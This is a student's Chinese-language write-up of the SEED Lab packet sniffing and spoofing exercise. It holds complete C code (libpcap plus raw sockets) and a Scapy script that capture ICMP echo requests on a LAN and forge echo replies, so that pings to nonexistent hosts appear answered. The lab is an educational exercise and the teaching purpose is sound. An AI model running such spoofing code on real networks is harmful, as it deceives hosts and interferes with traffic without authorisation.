在本任务中,您将结合嗅探和欺骗技术来实现以下嗅探然后欺骗程序。你需要两台机器在同一个局域网。从机器A ping IP_X,这将生成一个ICMP echo request包。如果主机IP_X存在,ping程序将收到一个echo reply,并打印出响应。您的嗅探然后欺骗程序在攻击者的机器上运行,攻击者通过嗅探包监视LAN。当它看到一个ICMP echo request时,不管目标IP地址是什么,您的程序应该立即使用欺骗技术发送一个echo reply。因此,无论IP_X是否存在,ping程序总是会收到一个答复,表明主机X是在线。您需要用C语言编写这样一个程序,并在报告中包含屏幕截图,以显示您的程序是有效的。请在你的报告中附上代码(有足够数量的注释)。
这其实是SEED Lab的一个实验,可以在官网上找到。 SEED Lab: Packet Sniffing and Spoofing Lab
ping一个IP地址其实是发送的ICMP Echo request包,所以我们需要先实现一个能抓到同一个局域网的ICMP Echo request包的嗅探程序代码。然后利用抓到的包,进行一定方式的伪造技术,构造一个ICMP echo reply包发送给受害主机,以达到欺骗目的。
需要注意的是:根据BPF规则,我要设定filter的过滤规则。因为要侦测ICMP echo request包,所以设置字段如下:"icmp[icmptype]==icmp-echo"
// sniff: capture the pkt void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { printf("get the pkt"); //******************************************************************************* //implement spoofing code... } //主程序 int main() { pcap_t *handle; char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program fp; char filter_exp[] = "icmp[icmptype]==icmp-echo"; bpf_u_int32 net; // Step 1: Open live pcap session on NIC with name eth3. // Students need to change "eth3" to the name found on their own // machines (using ifconfig). The interface to the 10.9.0.0/24 // network has a prefix "br-" (if the container setup is used). handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf); printf("listening on network card, ret: %p...\n", handle); // Step 2: Compile filter_exp into BPF psuedo-code printf("try to compile filter...\n"); pcap_compile(handle, &fp, filter_exp, 0, net); printf("try to set filter...\n"); pcap_setfilter(handle, &fp); // Step 3: Capture packets printf("start to sniff...\n"); pcap_loop(handle, -1, got_packet, NULL); pcap_close(handle); //Close the handle return 0; }
因为我们需要伪造数据包的reply包,所以我们首先要获得request包中的信息,并弄清楚它们。
// 获得Ethernet、IP、icmp的头信息和payload及其长度信息 struct ethheader *eth = (struct ethheader *)packet; struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader)); struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader)); const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader)); int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader));
根据协议栈规则,我们需要逐级向下封装数据包,即payload->icmp->ip。最后通过原生套接字编程把伪造IP数据包发送给受害主机。
注意点
memcpy()内存拷贝函数
。我之前使用的为strncpy()字符串复制函数
,但是代码中所获得的payload是一个指向字符串的指针,所以我每次复制给伪造的payload都只有4字节。我花费了大量时间在这,一直找不到原因,害,还是自己的C语言太菜了,连指针与字符数组都搞不清了。实现代码如下
/********************************************************* Step 1: Fill in the ICMP data field. ********************************************************/ char buffer[1500]; memset(buffer, 0, 1500); char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader); // copy the data_pkt payload to payload memcpy(data, data_pkt, data_len); /********************************************************* Step 2: Fill in the ICMP header. ********************************************************/ struct icmpheader *icmp = (struct icmpheader *) (buffer + sizeof(struct ipheader)); icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply. icmp->icmp_code = 0; icmp->icmp_id = icmp_pkt->icmp_id; icmp->icmp_seq = icmp_pkt->icmp_seq; // Calculate the checksum for integrity icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader)); /********************************************************* Step 3: Fill in the IP header. ********************************************************/ struct ipheader *ip = (struct ipheader *) buffer; ip->iph_ver = 4; ip->iph_ihl = 5; ip->iph_ttl = 64; ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr; ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr; ip->iph_protocol = IPPROTO_ICMP; ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct icmpheader)+ data_len); printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip)); printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip)); /********************************************************* Step 4: Finally, send the spoofed packet ********************************************************/ struct sockaddr_in dest_info; int enable = 1; // Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); printf("sock: %d\n", sock); // Step 2: Set socket option. setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)); // Step 3: Provide needed information about destination. dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out. sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info)); close(sock);
/* Ethernet header */ struct ethheader { u_char ether_dhost[6]; /* destination host address */ u_char ether_shost[6]; /* source host address */ u_short ether_type; /* IP? ARP? RARP? etc */ }; /* IP Header */ struct ipheader { unsigned char iph_ihl:4, //IP header length iph_ver:4; //IP version unsigned char iph_tos; //Type of service unsigned short int iph_len; //IP Packet length (data + header) unsigned short int iph_ident; //Identification unsigned short int iph_flag:3, //Fragmentation flags iph_offset:13; //Flags offset unsigned char iph_ttl; //Time to Live unsigned char iph_protocol; //Protocol type unsigned short int iph_chksum; //IP datagram checksum struct in_addr iph_sourceip; //Source IP address struct in_addr iph_destip; //Destination IP address }; /* UDP Header */ struct udpheader { u_int16_t udp_sport; /* source port */ u_int16_t udp_dport; /* destination port */ u_int16_t udp_ulen; /* udp length */ u_int16_t udp_sum; /* udp checksum */ }; /* ICMP Header */ struct icmpheader { unsigned char icmp_type; // ICMP message type unsigned char icmp_code; // Error code unsigned short int icmp_chksum; //Checksum for ICMP Header and data unsigned short int icmp_id; //Used for identifying request unsigned short int icmp_seq; //Sequence number }; /* TCP Header */ struct tcpheader { u_short tcp_sport; /* source port */ u_short tcp_dport; /* destination port */ u_int tcp_seq; /* sequence number */ u_int tcp_ack; /* acknowledgement number */ u_char tcp_offx2; /* data offset, rsvd */ #define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4) u_char tcp_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_short tcp_win; /* window */ u_short tcp_sum; /* checksum */ u_short tcp_urp; /* urgent pointer */ }; /* Psuedo TCP header */ struct pseudo_tcp { unsigned saddr, daddr; unsigned char mbz; unsigned char ptcl; unsigned short tcpl; struct tcpheader tcp; char payload[1500]; };
#include <unistd.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <pcap.h> #include "myheader.h" // ICMP checksum caculation unsigned short in_cksum (unsigned short *buf, int length) { unsigned short *w = buf; int nleft = length; int sum = 0; unsigned short temp=0; /* * The algorithm uses a 32 bit accumulator (sum), adds * sequential 16 bit words to it, and at the end, folds back all * the carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* treat the odd byte at the end, if any */ if (nleft == 1) { *(u_char *)(&temp) = *(u_char *)w ; sum += temp; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16 sum += (sum >> 16); // add carry return (unsigned short)(~sum); } // capture the pkt void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { // get ethernet, ip, icmp, payload pkt sniffed pkt struct ethheader *eth = (struct ethheader *)packet; struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader)); struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader)); const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader)); int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader)); //***************spoofing the pkt***************************************** /********************************************************* Step 1: Fill in the ICMP data field. ********************************************************/ char buffer[1500]; memset(buffer, 0, 1500); char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader); // copy the data_pkt to data memcpy(data, data_pkt, data_len); /********************************************************* Step 2: Fill in the ICMP header. ********************************************************/ struct icmpheader *icmp = (struct icmpheader *) (buffer + sizeof(struct ipheader)); icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply. icmp->icmp_code = 0; icmp->icmp_id = icmp_pkt->icmp_id; icmp->icmp_seq = icmp_pkt->icmp_seq; // Calculate the checksum for integrity icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader)); /********************************************************* Step 3: Fill in the IP header. ********************************************************/ struct ipheader *ip = (struct ipheader *) buffer; ip->iph_ver = 4; ip->iph_ihl = 5; ip->iph_ttl = 64; ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr; ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr; ip->iph_protocol = IPPROTO_ICMP; ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct icmpheader)+ data_len); printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip)); printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip)); /********************************************************* Step 4: Finally, send the spoofed packet ********************************************************/ struct sockaddr_in dest_info; int enable = 1; // Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); printf("sock: %d\n", sock); // Step 2: Set socket option. setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)); // Step 3: Provide needed information about destination. dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out. sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info)); close(sock); } int main() { pcap_t *handle; char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program fp; char filter_exp[] = "icmp[icmptype]==icmp-echo"; bpf_u_int32 net; // Step 1: Open live pcap session on NIC with name eth3. // Students need to change "eth3" to the name found on their own // machines (using ifconfig). The interface to the 10.9.0.0/24 // network has a prefix "br-" (if the container setup is used). handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf); printf("listening on network card, ret: %p...\n", handle); // Step 2: Compile filter_exp into BPF psuedo-code printf("try to compile filter...\n"); pcap_compile(handle, &fp, filter_exp, 0, net); printf("try to set filter...\n"); pcap_setfilter(handle, &fp); // Step 3: Capture packets printf("start to sniff...\n"); pcap_loop(handle, -1, got_packet, NULL); pcap_close(handle); //Close the handle return 0; }
结果如下图所示。主机IP为10.9.0.6,向一个网络不存在的IP为1.2.3.4,ping命令,得到了回复。向网络上存在的IP为8.8.8.8,也得到了回复。
python永远的神,好简单!!!!
#!/usr/bin/python3 from scapy.all import * def print_pkt(pkt): print(pkt[IP].dst,pkt[IP].src) send(IP(src=pkt[IP].dst, dst=pkt[IP].src)/ICMP(type="echo-reply", id=pkt[ICMP].id, seq=pkt[ICMP].seq)/Raw(load=pkt[Raw].load)) pkt = sniff(iface='br-cbc1af37a44e', filter="icmp[icmptype]==icmp-echo",prn=print_pkt)